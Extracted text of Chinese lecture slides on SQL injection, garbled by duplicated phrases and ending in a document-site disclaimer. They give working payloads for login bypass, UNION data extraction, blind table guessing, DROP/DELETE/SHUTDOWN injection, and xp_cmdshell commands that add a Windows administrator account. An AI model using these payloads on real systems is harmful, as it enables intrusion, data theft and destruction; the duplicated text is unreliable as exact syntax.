29、eusertable表用表用來(lái)存放用戶(hù)的登錄信息,包含來(lái)存放用戶(hù)的登錄信息,包含username ,username , password password等字段,網(wǎng)站的應(yīng)用程序根據(jù)用戶(hù)提等字段,網(wǎng)站的應(yīng)用程序根據(jù)用戶(hù)提交的數(shù)據(jù)生成交的數(shù)據(jù)生成SQLSQL查詢(xún)語(yǔ)句。查詢(xún)語(yǔ)句。 開(kāi)發(fā)人員在數(shù)據(jù)庫(kù)中建立一個(gè)數(shù)據(jù)庫(kù)表開(kāi)發(fā)人員在數(shù)據(jù)庫(kù)中建立一個(gè)數(shù)據(jù)庫(kù)表user_table 。 CREATE TABLE usertable( Id INTEGER PRIMARYKEY, Username VARCHAR(32), Password VARCHAR(41) );30假如用戶(hù)提供的用戶(hù)名和口令分別為假如用戶(hù)

30、提供的用戶(hù)名和口令分別為John和和mypassword,那么檢查用戶(hù),那么檢查用戶(hù)ID過(guò)程如下所示:過(guò)程如下所示: SELECT id FROM usertable WHERE username=John AND password= mypassword;應(yīng)用程序中生成應(yīng)用程序中生成SQL查詢(xún)語(yǔ)句的代碼:查詢(xún)語(yǔ)句的代碼:String querystring=“select * from usertable where ”;if (!username.equals(“”)&(!pass.equals(“”) querystring+=“username=”+username +“ an

31、d password=”+pass+”;else querystring+=“username=guest”;311、用戶(hù)、用戶(hù)正確輸入正確輸入賬戶(hù)名:賬戶(hù)名:abc,密碼:密碼:123,則查詢(xún)則查詢(xún)語(yǔ)句為語(yǔ)句為 select * from usertable where username=abc and password=123;2、 SQL注入攻擊注入攻擊1)若用戶(hù)輸入)若用戶(hù)輸入賬戶(hù):賬戶(hù):“ OR = 和和密碼:密碼:“ OR = 執(zhí)行的執(zhí)行的SQL語(yǔ)句為:語(yǔ)句為: select * from usertable where username= OR = and password= O

32、R = ; = 恒定成立,恒定成立,32 2)若用戶(hù)輸入)若用戶(hù)輸入“abc OR 1=1- ”和和 “ ”執(zhí)行的執(zhí)行的SQL語(yǔ)句為:語(yǔ)句為:select * from usertable where username=abc OR 1=1-and password= ; /-以后的內(nèi)容以后的內(nèi)容and password= ; 全部為注冊(cè)信全部為注冊(cè)信息,息,攻擊后獲取全部信息攻擊后獲取全部信息33 3 3)修改數(shù)據(jù)庫(kù)信息)修改數(shù)據(jù)庫(kù)信息若用戶(hù)輸入若用戶(hù)輸入“ ;shutdown with nowait;-shutdown with nowait;-”和和“ ”“ ” 執(zhí)行的執(zhí)行的SQLSQL

33、語(yǔ)句為:語(yǔ)句為: select select * * from usertable where from usertable where username= username= ; ; shutdown with nowaitshutdown with nowait;- and password= and password= ; ; /命令命令shutdown with nowaitshutdown with nowait;會(huì)會(huì)關(guān)閉數(shù)據(jù)庫(kù)關(guān)閉數(shù)據(jù)庫(kù)服務(wù)器服務(wù)器34 若用戶(hù)輸入若用戶(hù)輸入“;drop table users;-;drop table users;-”和和“ ”“ ”執(zhí)行的執(zhí)行的S

34、QLSQL語(yǔ)句為:語(yǔ)句為: select select * * from usertable where from usertable where username=username= ;drop table usersdrop table users;-and and password=password= ; ; /命令命令drop table usersdrop table users;會(huì)會(huì)刪刪除除usersusers表表若用戶(hù)輸入若用戶(hù)輸入“ ;delete from users where delete from users where = = ” 和和 “ “ OR OR = = ”

35、執(zhí)行的執(zhí)行的SQLSQL語(yǔ)句為:語(yǔ)句為: select select * * from usertable where username= from usertable where username= ; ; delete from users where delete from users where = = and and password= password= OR OR = = ; ; /刪除刪除usersusers表中全部記錄表中全部記錄35例例1:某一系統(tǒng)要求考生輸入身份證號(hào)碼某一系統(tǒng)要求考生輸入身份證號(hào)碼,來(lái)查詢(xún)各來(lái)查詢(xún)各門(mén)課的考試成績(jī)門(mén)課的考試成績(jī). SELECT * FROM

36、 score WHERE id=user_id;/ id表示身份證號(hào)表示身份證號(hào) 如果攻擊者輸入以下內(nèi)容如果攻擊者輸入以下內(nèi)容:“1000 or 1=1”則真正執(zhí)行的語(yǔ)句將如下所示:則真正執(zhí)行的語(yǔ)句將如下所示: SELECT * FROM score WHERE id=1000or1=1;/得到表中所有考生的成績(jī)記錄得到表中所有考生的成績(jī)記錄.36例例2:假如事先知道該系統(tǒng)的管理員用戶(hù)名是:假如事先知道該系統(tǒng)的管理員用戶(hù)名是 “admin”,可以在輸入用戶(hù)名的文本框中輸入以可以在輸入用戶(hù)名的文本框中輸入以下內(nèi)容下內(nèi)容: “admin-”,輸入密碼文本框中輸入,輸入密碼文本框中輸入任意內(nèi)容,假設(shè)

37、輸入任意內(nèi)容,假設(shè)輸入“ cat22”。 此時(shí)執(zhí)行的語(yǔ)句為此時(shí)執(zhí)行的語(yǔ)句為: select * from users where username= admin- and password=cat22; /這樣攻擊者就順利地通過(guò)了認(rèn)證這樣攻擊者就順利地通過(guò)了認(rèn)證, 還可以用管還可以用管理員的名義訪問(wèn)該系統(tǒng)。理員的名義訪問(wèn)該系統(tǒng)。37二、二、UNIONUNION式式SQLSQL注入攻擊注入攻擊SELECT 語(yǔ)句的語(yǔ)法:語(yǔ)句的語(yǔ)法: SELECT UNION ALL|DISTINCT SELECT ;v UNION將多個(gè)將多個(gè)SELECT語(yǔ)句的結(jié)果合并為一個(gè)集合。語(yǔ)句的結(jié)果合并為一個(gè)集合。如果沒(méi)有

38、使用關(guān)健字如果沒(méi)有使用關(guān)健字ALL,所有返回的結(jié)果是不同的,所有返回的結(jié)果是不同的,等價(jià)于使用關(guān)鍵字等價(jià)于使用關(guān)鍵字DISTINCT,如果聲明了關(guān)鍵字如果聲明了關(guān)鍵字ALL,返回結(jié)果中包含所有匹配記錄。大部分返回結(jié)果中包含所有匹配記錄。大部分SQL注入攻擊注入攻擊使用使用UNION LL,用以捎回額外的信息。用以捎回額外的信息。38 例:查詢(xún)員工信息。例:查詢(xún)員工信息。SELECT CustomerID, CompanyName, ContactName FROM Customers WHERE CompanyName =Ernst Handel;攻擊者將攻擊者將“Ernst Handel”,

39、替換如下的內(nèi)容:,替換如下的內(nèi)容:v“Ernst Handel UNION SELECT ALL loginame,hostname,login_time from master.sysprocesses where 1=1-”39表表sysprocesses字段定義字段定義4041 其結(jié)果是這個(gè)其結(jié)果是這個(gè)SQL語(yǔ)句在服務(wù)器端執(zhí)行,將這語(yǔ)句在服務(wù)器端執(zhí)行,將這個(gè)動(dòng)態(tài)的個(gè)動(dòng)態(tài)的SQL查詢(xún)轉(zhuǎn)換為如下語(yǔ)句:查詢(xún)轉(zhuǎn)換為如下語(yǔ)句:SELECT CustomerID, CompanyName, ContactName FROM Customers WHERE CompanyName =Ernst Han

40、del UNION SELECT ALL loginame,hostname,login_time from master.sysprocesses where 1=1-v這是合法的這是合法的SQL語(yǔ)句,返回?cái)?shù)據(jù)庫(kù)當(dāng)前登錄語(yǔ)句,返回?cái)?shù)據(jù)庫(kù)當(dāng)前登錄信息,包括登錄名稱(chēng)、登錄主機(jī),登錄時(shí)間。信息,包括登錄名稱(chēng)、登錄主機(jī),登錄時(shí)間。42三、判斷數(shù)據(jù)庫(kù)類(lèi)型三、判斷數(shù)據(jù)庫(kù)類(lèi)型 例如:網(wǎng)站例如:網(wǎng)站,在網(wǎng)站首頁(yè)上,有名為,在網(wǎng)站首頁(yè)上,有名為“IE不能打開(kāi)新窗口的多種解決方法不能打開(kāi)新窗口的多種解決方法”的鏈接,地址為:的鏈接,地址為:http:/ http:/ showdetail.asp?id=49sh

41、owdetail.asp?id=49, ,服務(wù)器返回下面的錯(cuò)誤提示:服務(wù)器返回下面的錯(cuò)誤提示:Microsoft JET Database Engine Microsoft JET Database Engine 錯(cuò)誤錯(cuò)誤 80040e14 80040e14 字符串的語(yǔ)法錯(cuò)誤字符串的語(yǔ)法錯(cuò)誤 在查詢(xún)表達(dá)式在查詢(xún)表達(dá)式 ID=49 ID=49 中。中。 /showdetail.asp /showdetail.asp,行,行8 8從這個(gè)錯(cuò)誤提示我們能看出下面幾點(diǎn):從這個(gè)錯(cuò)誤提示我們能看出下面幾點(diǎn): 1 1)網(wǎng)站使用的是)網(wǎng)站使用的是AccessAccess數(shù)據(jù)庫(kù),通過(guò)數(shù)據(jù)庫(kù),通過(guò)JETJET引擎連

42、接數(shù)引擎連接數(shù)據(jù)庫(kù),而不是通過(guò)據(jù)庫(kù),而不是通過(guò)ODBCODBC。 2 2)程序沒(méi)有判斷客戶(hù)端提交的數(shù)據(jù)是否符合程序要求。)程序沒(méi)有判斷客戶(hù)端提交的數(shù)據(jù)是否符合程序要求。 3 3)該)該SQLSQL語(yǔ)句所查詢(xún)的表中有一名為語(yǔ)句所查詢(xún)的表中有一名為IDID的字段。的字段。43獲取數(shù)據(jù)庫(kù)的用戶(hù)名獲取數(shù)據(jù)庫(kù)的用戶(hù)名 http:/ and user0; user是是SQL Server的內(nèi)置變量,它的值是當(dāng)?shù)膬?nèi)置變量,它的值是當(dāng)前連接的用戶(hù)名,類(lèi)型為前連接的用戶(hù)名,類(lèi)型為nvarchar。拿一個(gè)拿一個(gè)nvarchar的值跟的值跟int的數(shù)的數(shù)0比較,系統(tǒng)會(huì)先試圖將比較,系統(tǒng)會(huì)先試圖將nvarchar的值

43、轉(zhuǎn)成的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過(guò)程中肯定型,當(dāng)然,轉(zhuǎn)的過(guò)程中肯定會(huì)出錯(cuò),如會(huì)出錯(cuò),如SQLServer的出錯(cuò)提示是:的出錯(cuò)提示是:將將nvarchar值值 ”abc” 轉(zhuǎn)換數(shù)據(jù)類(lèi)型為轉(zhuǎn)換數(shù)據(jù)類(lèi)型為 int 時(shí)發(fā)生語(yǔ)時(shí)發(fā)生語(yǔ)法錯(cuò)誤法錯(cuò)誤,則,則abc正是變量正是變量user的值,即數(shù)據(jù)庫(kù)的的值,即數(shù)據(jù)庫(kù)的用戶(hù)名。用戶(hù)名。 如果是如果是sa登錄,提示是將登錄,提示是將”dbo”轉(zhuǎn)換成轉(zhuǎn)換成int時(shí)時(shí)發(fā)生錯(cuò)誤。發(fā)生錯(cuò)誤。44 http:/ and (select count(*) from sysobjects)0 http:/ and (select count(*) from msysobje

44、cts)0如果數(shù)據(jù)庫(kù)是如果數(shù)據(jù)庫(kù)是SQLServer,那么第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面,那么第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面http:/ ID=49 And (Select Count(ID=49 And (Select Count(* *) from ) from AdminAdmin)=0)=0 如果頁(yè)面與原頁(yè)面相同,說(shuō)明附加條件成立,即表如果頁(yè)面與原頁(yè)面相同,說(shuō)明附加條件成立,即表AdminAdmin存在,存在,反之,即不存在。如此循環(huán),直至猜到表名為止。反之,即不存在。如此循環(huán),直至猜到表名為止。猜字段名:猜字段名: ID=49 And (Select Count(ID=49 And (Selec

45、t Count(字段名字段名) from Admin)=0) from Admin)=0猜用戶(hù)名長(zhǎng)度:猜用戶(hù)名長(zhǎng)度: ID=49ID=49 and (select top 1 and (select top 1 len(username)len(username) from Admin)0 from Admin)0 如果如果top 1top 1的的usernameusername長(zhǎng)度大于長(zhǎng)度大于0 0,則條件成立;接著就是,則條件成立;接著就是11、22、33這樣測(cè)試下去,一直到條件不成立為止,比如這樣測(cè)試下去,一直到條件不成立為止,比如77成立,成立,88不成不成立,就是立,就是len(us

46、ername)=8len(username)=8。46五、利用系統(tǒng)表注入五、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)數(shù)據(jù)庫(kù) 創(chuàng)建系統(tǒng)用戶(hù):創(chuàng)建系統(tǒng)用戶(hù): id=1;exec master.xp_cmdshell “net user name password /add” 存儲(chǔ)過(guò)程存儲(chǔ)過(guò)程xp_cmdshell用于調(diào)用系統(tǒng)命令,用用于調(diào)用系統(tǒng)命令,用net命命令新建了用戶(hù)名為令新建了用戶(hù)名為name、密碼為、密碼為password的的windows的帳號(hào)。該方法只適用于用的帳號(hào)。該方法只適用于用sa連接數(shù)據(jù)庫(kù)的情況,否連接數(shù)據(jù)庫(kù)的情況,否則,是沒(méi)有權(quán)限調(diào)用則,是沒(méi)有權(quán)限調(diào)用xp_cmdshell的

47、。的。 把該用戶(hù)加入把該用戶(hù)加入administrators組:組: Id=1;exec master.xp_cmdshell “net localgroup name administrators /add” 將新建的帳號(hào)將新建的帳號(hào)name加入管理員組。加入管理員組。 47獲取數(shù)據(jù)庫(kù)名獲取數(shù)據(jù)庫(kù)名 http:/Site/url.ASP?id=1 and db_name()0 db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫(kù)名。據(jù)庫(kù)名。備份數(shù)據(jù)庫(kù)備份數(shù)據(jù)庫(kù) id=1;backup database 數(shù)據(jù)庫(kù)名數(shù)據(jù)庫(kù)名 to disk=c:inetpub

48、wwwroot1.db;- 根據(jù)獲得的數(shù)據(jù)庫(kù)名,加上某些根據(jù)獲得的數(shù)據(jù)庫(kù)名,加上某些IIS出錯(cuò)暴露出的出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫(kù)備份到絕對(duì)路徑,將數(shù)據(jù)庫(kù)備份到Web目錄下,再用目錄下,再用HTTP可可把整個(gè)數(shù)據(jù)庫(kù)完整的下載。把整個(gè)數(shù)據(jù)庫(kù)完整的下載。 4810.4.2 SQL10.4.2 SQL注入攻擊的實(shí)現(xiàn)過(guò)程注入攻擊的實(shí)現(xiàn)過(guò)程 1.1.尋找尋找SQLSQL注入點(diǎn)。注入點(diǎn)。 2. 2.獲取和驗(yàn)證獲取和驗(yàn)證SQLSQL注入點(diǎn)。注入點(diǎn)。 3. 3.獲取信息。獲取信息。 4. 4.實(shí)施直接控制。實(shí)施直接控制。4910.4.3 SOL10.4.3 SOL注入攻擊防范技術(shù)注入攻擊防范技術(shù)SQLSQL注入攻擊的常規(guī)防范技術(shù)可以分為四類(lèi)注入攻擊的常規(guī)防范技術(shù)可以分為四類(lèi): :v修補(bǔ)應(yīng)用程序漏洞。修補(bǔ)應(yīng)用程序漏洞。vSQLSQL注入攻擊在線監(jiān)控。注入攻擊在線監(jiān)控。v發(fā)現(xiàn)并修補(bǔ)數(shù)據(jù)庫(kù)服務(wù)器發(fā)現(xiàn)并修補(bǔ)數(shù)據(jù)庫(kù)服務(wù)器SQLSQL注入漏洞。注入漏洞。v過(guò)濾過(guò)濾SQLSQL命令進(jìn)行輸入驗(yàn)證。命令進(jìn)行輸入驗(yàn)證。50 SQL SQL注入攻擊的常規(guī)防范具體措施注入攻擊的常規(guī)防范具體措施1、過(guò)

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論